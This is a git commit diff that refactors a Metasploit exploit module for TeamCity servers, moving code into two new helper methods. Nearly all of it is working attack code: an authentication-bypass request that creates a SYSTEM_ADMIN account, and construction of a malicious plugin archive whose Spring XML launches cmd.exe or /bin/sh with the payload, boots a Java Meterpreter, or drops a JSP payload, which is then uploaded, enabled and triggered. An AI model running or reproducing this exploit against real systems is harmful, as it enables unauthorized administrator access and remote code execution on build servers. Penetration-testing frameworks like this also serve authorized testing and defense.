reduce the size of teh exploit method by spinngin out two new methods create_payload_plugin and auth_new_admin_user. several if/unless blocks were flattened to be inline if/unless
This commit is contained in:
parent
4bd105202a
commit
6d84f0e898
|
@ -187,52 +187,9 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
token_name = nil
|
token_name = nil
|
||||||
token_value = nil
|
token_value = nil
|
||||||
|
|
||||||
admin_username = Faker::Internet.username
|
http_authorization = auth_new_admin_user
|
||||||
admin_password = Rex::Text.rand_text_alphanumeric(16)
|
|
||||||
|
|
||||||
res = send_auth_bypass_request_cgi(
|
fail_with(Failure::NoAccess, 'Failed to login with new admin user credentials.') if http_authorization.nil?
|
||||||
'method' => 'POST',
|
|
||||||
'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'users'),
|
|
||||||
'ctype' => 'application/json',
|
|
||||||
'data' => {
|
|
||||||
'username' => admin_username,
|
|
||||||
'password' => admin_password,
|
|
||||||
'name' => Faker::Name.name,
|
|
||||||
'email' => Faker::Internet.email(name: admin_username),
|
|
||||||
'roles' => {
|
|
||||||
'role' => [
|
|
||||||
{
|
|
||||||
'roleId' => 'SYSTEM_ADMIN',
|
|
||||||
'scope' => 'g'
|
|
||||||
}
|
|
||||||
]
|
|
||||||
}
|
|
||||||
}.to_json
|
|
||||||
)
|
|
||||||
|
|
||||||
unless res&.code == 200
|
|
||||||
fail_with(Failure::UnexpectedReply, 'Failed to create an administrator user.')
|
|
||||||
end
|
|
||||||
|
|
||||||
print_status("Created account: #{admin_username}:#{admin_password} (Note: This account will not be deleted by the module)")
|
|
||||||
|
|
||||||
http_authorization = basic_auth(admin_username, admin_password)
|
|
||||||
|
|
||||||
# Login via HTTP basic authorization and store the session cookie.
|
|
||||||
res = send_request_cgi(
|
|
||||||
'method' => 'GET',
|
|
||||||
'uri' => normalize_uri(target_uri.path, 'admin', 'admin.html'),
|
|
||||||
'keep_cookies' => true,
|
|
||||||
'headers' => {
|
|
||||||
'Origin' => full_uri,
|
|
||||||
'Authorization' => http_authorization
|
|
||||||
}
|
|
||||||
)
|
|
||||||
|
|
||||||
# A failed login attempt will return in a 401. We expect a 302 redirect upon success.
|
|
||||||
if res&.code == 401
|
|
||||||
fail_with(Failure::NoAccess, 'Failed to login with new admin user credentials.')
|
|
||||||
end
|
|
||||||
else
|
else
|
||||||
unless res&.code == 200
|
unless res&.code == 200
|
||||||
# One reason token creation may fail is if we use a user ID for a user that does not exist. We detect that here
|
# One reason token creation may fail is if we use a user ID for a user that does not exist. We detect that here
|
||||||
|
@ -247,9 +204,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
# Extract the authentication token from the response.
|
# Extract the authentication token from the response.
|
||||||
token_value = res.get_xml_document&.xpath('/token')&.attr('value')&.to_s
|
token_value = res.get_xml_document&.xpath('/token')&.attr('value')&.to_s
|
||||||
|
|
||||||
if token_value.nil?
|
fail_with(Failure::UnexpectedReply, 'Failed to read authentication token from reply.') if token_value.nil?
|
||||||
fail_with(Failure::UnexpectedReply, 'Failed to read authentication token from reply.')
|
|
||||||
end
|
|
||||||
|
|
||||||
print_status("Created authentication token: #{token_value}")
|
print_status("Created authentication token: #{token_value}")
|
||||||
|
|
||||||
|
@ -263,108 +218,9 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
#
|
#
|
||||||
plugin_name = Rex::Text.rand_text_alphanumeric(8)
|
plugin_name = Rex::Text.rand_text_alphanumeric(8)
|
||||||
|
|
||||||
if target['Arch'] == ARCH_CMD
|
zip_plugin = create_payload_plugin(plugin_name)
|
||||||
|
|
||||||
case target['Platform']
|
fail_with(Failure::BadConfig, 'Could not create the payload plugin.') if zip_plugin.nil?
|
||||||
when 'win'
|
|
||||||
shell = 'cmd.exe'
|
|
||||||
flag = '/c'
|
|
||||||
when 'linux', 'unix'
|
|
||||||
shell = '/bin/sh'
|
|
||||||
flag = '-c'
|
|
||||||
else
|
|
||||||
fail_with(Failure::BadConfig, 'Unsupported target platform')
|
|
||||||
end
|
|
||||||
|
|
||||||
zip_resources = Rex::Zip::Archive.new
|
|
||||||
|
|
||||||
zip_resources.add_file(
|
|
||||||
"META-INF/build-server-plugin-#{plugin_name}.xml",
|
|
||||||
<<~XML
|
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
|
||||||
<beans xmlns="http://www.springframework.org/schema/beans"
|
|
||||||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
|
||||||
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd"
|
|
||||||
default-autowire="constructor">
|
|
||||||
<bean id="#{Rex::Text.rand_text_alpha(8)}" class="java.lang.ProcessBuilder" init-method="start">
|
|
||||||
<constructor-arg>
|
|
||||||
<list>
|
|
||||||
<value>#{shell}</value>
|
|
||||||
<value>#{flag}</value>
|
|
||||||
<value><![CDATA[#{payload.encoded}]]></value>
|
|
||||||
</list>
|
|
||||||
</constructor-arg>
|
|
||||||
</bean>
|
|
||||||
</beans>
|
|
||||||
XML
|
|
||||||
)
|
|
||||||
elsif target['Arch'] == ARCH_JAVA
|
|
||||||
# If the platform is java we can bootstrap a Java Meterpreter
|
|
||||||
if target['Platform'] == 'java'
|
|
||||||
zip_resources = payload.encoded_jar(random: true)
|
|
||||||
|
|
||||||
# Add in PayloadServlet as this is implements Runable and we can run the payload in a thread.
|
|
||||||
servlet = MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class')
|
|
||||||
zip_resources.add_file('/metasploit/PayloadServlet.class', servlet)
|
|
||||||
|
|
||||||
payload_bean_id = Rex::Text.rand_text_alpha(8)
|
|
||||||
|
|
||||||
# We start the payload in a new thread via some Spring Expression Language (SpEL).
|
|
||||||
bootstrap_spel = "\#{ new java.lang.Thread(#{payload_bean_id}).start() }"
|
|
||||||
|
|
||||||
# NOTE: We place bootstrap_spel in a separate bean, as if this generates an exception the plugin will fail
|
|
||||||
# to load correctly, which prevents the exploit from deleting the plugin later. We choose java.beans.Encoder
|
|
||||||
# as the setExceptionListener method will accept the null value the bootstrap_spel will generate. If we
|
|
||||||
# choose a property that does not exist, we generate several exceptions in the teamcity-server.log.
|
|
||||||
|
|
||||||
zip_resources.add_file(
|
|
||||||
"META-INF/build-server-plugin-#{plugin_name}.xml",
|
|
||||||
<<~XML
|
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
|
||||||
<beans xmlns="http://www.springframework.org/schema/beans"
|
|
||||||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
|
||||||
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd">
|
|
||||||
<bean id="#{payload_bean_id}" class="#{zip_resources.substitutions['metasploit']}.PayloadServlet"/>
|
|
||||||
<bean class="java.beans.Encoder">
|
|
||||||
<property name="exceptionListener" value="#{bootstrap_spel}"/>
|
|
||||||
</bean>
|
|
||||||
</beans>
|
|
||||||
XML
|
|
||||||
)
|
|
||||||
else
|
|
||||||
# For non java platforms with ARCH_JAVA, we can drop a JSP payload.
|
|
||||||
zip_resources = Rex::Zip::Archive.new
|
|
||||||
|
|
||||||
zip_resources.add_file("buildServerResources/#{plugin_name}.jsp", payload.encoded)
|
|
||||||
end
|
|
||||||
|
|
||||||
else
|
|
||||||
fail_with(Failure::BadConfig, 'Unsupported target architecture')
|
|
||||||
end
|
|
||||||
|
|
||||||
zip_plugin = Rex::Zip::Archive.new
|
|
||||||
|
|
||||||
zip_plugin.add_file(
|
|
||||||
'teamcity-plugin.xml',
|
|
||||||
<<~XML
|
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
|
||||||
<teamcity-plugin xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:schemas-jetbrains-com:teamcity-plugin-v1-xml">
|
|
||||||
<info>
|
|
||||||
<name>#{plugin_name}</name>
|
|
||||||
<display-name>#{plugin_name}</display-name>
|
|
||||||
<description>#{Faker::Lorem.sentence}</description>
|
|
||||||
<version>#{Faker::App.semantic_version}</version>
|
|
||||||
<vendor>
|
|
||||||
<name>#{Faker::Company.name}</name>
|
|
||||||
<url>#{Faker::Internet.url}</url>
|
|
||||||
</vendor>
|
|
||||||
</info>
|
|
||||||
<deployment use-separate-classloader="true" node-responsibilities-aware="true"/>
|
|
||||||
</teamcity-plugin>
|
|
||||||
XML
|
|
||||||
)
|
|
||||||
|
|
||||||
zip_plugin.add_file("server/#{plugin_name}.jar", zip_resources.pack)
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# 3. Upload the payload plugin to the TeamCity server
|
# 3. Upload the payload plugin to the TeamCity server
|
||||||
|
@ -399,9 +255,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
'data' => message.to_s
|
'data' => message.to_s
|
||||||
)
|
)
|
||||||
|
|
||||||
unless res&.code == 200
|
fail_with(Failure::UnexpectedReply, 'Failed to upload the plugin.') unless res&.code == 200
|
||||||
fail_with(Failure::UnexpectedReply, 'Failed to upload the plugin.')
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# 4. We have to enable the newly uploaded plugin so the plugin actually loads into the server.
|
# 4. We have to enable the newly uploaded plugin so the plugin actually loads into the server.
|
||||||
|
@ -420,9 +274,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
}
|
}
|
||||||
)
|
)
|
||||||
|
|
||||||
unless res&.code == 200
|
fail_with(Failure::UnexpectedReply, 'Failed to load the plugin.') unless res&.code == 200
|
||||||
fail_with(Failure::UnexpectedReply, 'Failed to load the plugin.')
|
|
||||||
end
|
|
||||||
|
|
||||||
# As we have uploaded the plugin, this begin block ensure we delete the plugin when we are done.
|
# As we have uploaded the plugin, this begin block ensure we delete the plugin when we are done.
|
||||||
begin
|
begin
|
||||||
|
@ -480,9 +332,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
}
|
}
|
||||||
)
|
)
|
||||||
|
|
||||||
unless res&.code == 200
|
fail_with(Failure::UnexpectedReply, 'Failed to trigger the payload.') unless res&.code == 200
|
||||||
fail_with(Failure::UnexpectedReply, 'Failed to trigger the payload.')
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
ensure
|
ensure
|
||||||
#
|
#
|
||||||
|
@ -505,6 +355,168 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def auth_new_admin_user
|
||||||
|
admin_username = Faker::Internet.username
|
||||||
|
admin_password = Rex::Text.rand_text_alphanumeric(16)
|
||||||
|
|
||||||
|
res = send_auth_bypass_request_cgi(
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'users'),
|
||||||
|
'ctype' => 'application/json',
|
||||||
|
'data' => {
|
||||||
|
'username' => admin_username,
|
||||||
|
'password' => admin_password,
|
||||||
|
'name' => Faker::Name.name,
|
||||||
|
'email' => Faker::Internet.email(name: admin_username),
|
||||||
|
'roles' => {
|
||||||
|
'role' => [
|
||||||
|
{
|
||||||
|
'roleId' => 'SYSTEM_ADMIN',
|
||||||
|
'scope' => 'g'
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
}.to_json
|
||||||
|
)
|
||||||
|
|
||||||
|
unless res&.code == 200
|
||||||
|
print_warning('Failed to create an administrator user.')
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("Created account: #{admin_username}:#{admin_password} (Note: This account will not be deleted by the module)")
|
||||||
|
|
||||||
|
http_authorization = basic_auth(admin_username, admin_password)
|
||||||
|
|
||||||
|
# Login via HTTP basic authorization and store the session cookie.
|
||||||
|
res = send_request_cgi(
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'admin', 'admin.html'),
|
||||||
|
'keep_cookies' => true,
|
||||||
|
'headers' => {
|
||||||
|
'Origin' => full_uri,
|
||||||
|
'Authorization' => http_authorization
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
# A failed login attempt will return in a 401. We expect a 302 redirect upon success.
|
||||||
|
if res&.code == 401
|
||||||
|
print_warning('Failed to login with new admin user credentials.')
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
http_authorization
|
||||||
|
end
|
||||||
|
|
||||||
|
def create_payload_plugin(plugin_name)
|
||||||
|
if target['Arch'] == ARCH_CMD
|
||||||
|
|
||||||
|
case target['Platform']
|
||||||
|
when 'win'
|
||||||
|
shell = 'cmd.exe'
|
||||||
|
flag = '/c'
|
||||||
|
when 'linux', 'unix'
|
||||||
|
shell = '/bin/sh'
|
||||||
|
flag = '-c'
|
||||||
|
else
|
||||||
|
print_warning('Unsupported target platform.')
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
zip_resources = Rex::Zip::Archive.new
|
||||||
|
|
||||||
|
zip_resources.add_file(
|
||||||
|
"META-INF/build-server-plugin-#{plugin_name}.xml",
|
||||||
|
<<~XML
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<beans xmlns="http://www.springframework.org/schema/beans"
|
||||||
|
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||||
|
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd"
|
||||||
|
default-autowire="constructor">
|
||||||
|
<bean id="#{Rex::Text.rand_text_alpha(8)}" class="java.lang.ProcessBuilder" init-method="start">
|
||||||
|
<constructor-arg>
|
||||||
|
<list>
|
||||||
|
<value>#{shell}</value>
|
||||||
|
<value>#{flag}</value>
|
||||||
|
<value><![CDATA[#{payload.encoded}]]></value>
|
||||||
|
</list>
|
||||||
|
</constructor-arg>
|
||||||
|
</bean>
|
||||||
|
</beans>
|
||||||
|
XML
|
||||||
|
)
|
||||||
|
elsif target['Arch'] == ARCH_JAVA
|
||||||
|
# If the platform is java we can bootstrap a Java Meterpreter
|
||||||
|
if target['Platform'] == 'java'
|
||||||
|
zip_resources = payload.encoded_jar(random: true)
|
||||||
|
|
||||||
|
# Add in PayloadServlet as this is implements Runable and we can run the payload in a thread.
|
||||||
|
servlet = MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class')
|
||||||
|
zip_resources.add_file('/metasploit/PayloadServlet.class', servlet)
|
||||||
|
|
||||||
|
payload_bean_id = Rex::Text.rand_text_alpha(8)
|
||||||
|
|
||||||
|
# We start the payload in a new thread via some Spring Expression Language (SpEL).
|
||||||
|
bootstrap_spel = "\#{ new java.lang.Thread(#{payload_bean_id}).start() }"
|
||||||
|
|
||||||
|
# NOTE: We place bootstrap_spel in a separate bean, as if this generates an exception the plugin will fail
|
||||||
|
# to load correctly, which prevents the exploit from deleting the plugin later. We choose java.beans.Encoder
|
||||||
|
# as the setExceptionListener method will accept the null value the bootstrap_spel will generate. If we
|
||||||
|
# choose a property that does not exist, we generate several exceptions in the teamcity-server.log.
|
||||||
|
|
||||||
|
zip_resources.add_file(
|
||||||
|
"META-INF/build-server-plugin-#{plugin_name}.xml",
|
||||||
|
<<~XML
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<beans xmlns="http://www.springframework.org/schema/beans"
|
||||||
|
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||||
|
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd">
|
||||||
|
<bean id="#{payload_bean_id}" class="#{zip_resources.substitutions['metasploit']}.PayloadServlet"/>
|
||||||
|
<bean class="java.beans.Encoder">
|
||||||
|
<property name="exceptionListener" value="#{bootstrap_spel}"/>
|
||||||
|
</bean>
|
||||||
|
</beans>
|
||||||
|
XML
|
||||||
|
)
|
||||||
|
else
|
||||||
|
# For non java platforms with ARCH_JAVA, we can drop a JSP payload.
|
||||||
|
zip_resources = Rex::Zip::Archive.new
|
||||||
|
|
||||||
|
zip_resources.add_file("buildServerResources/#{plugin_name}.jsp", payload.encoded)
|
||||||
|
end
|
||||||
|
|
||||||
|
else
|
||||||
|
print_warning('Unsupported target architecture.')
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
zip_plugin = Rex::Zip::Archive.new
|
||||||
|
|
||||||
|
zip_plugin.add_file(
|
||||||
|
'teamcity-plugin.xml',
|
||||||
|
<<~XML
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<teamcity-plugin xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:schemas-jetbrains-com:teamcity-plugin-v1-xml">
|
||||||
|
<info>
|
||||||
|
<name>#{plugin_name}</name>
|
||||||
|
<display-name>#{plugin_name}</display-name>
|
||||||
|
<description>#{Faker::Lorem.sentence}</description>
|
||||||
|
<version>#{Faker::App.semantic_version}</version>
|
||||||
|
<vendor>
|
||||||
|
<name>#{Faker::Company.name}</name>
|
||||||
|
<url>#{Faker::Internet.url}</url>
|
||||||
|
</vendor>
|
||||||
|
</info>
|
||||||
|
<deployment use-separate-classloader="true" node-responsibilities-aware="true"/>
|
||||||
|
</teamcity-plugin>
|
||||||
|
XML
|
||||||
|
)
|
||||||
|
|
||||||
|
zip_plugin.add_file("server/#{plugin_name}.jar", zip_resources.pack)
|
||||||
|
|
||||||
|
zip_plugin
|
||||||
|
end
|
||||||
|
|
||||||
def get_install_path(http_authorization)
|
def get_install_path(http_authorization)
|
||||||
res = send_request_cgi(
|
res = send_request_cgi(
|
||||||
'method' => 'GET',
|
'method' => 'GET',
|
||||||
|
|
Loading…
Reference in New Issue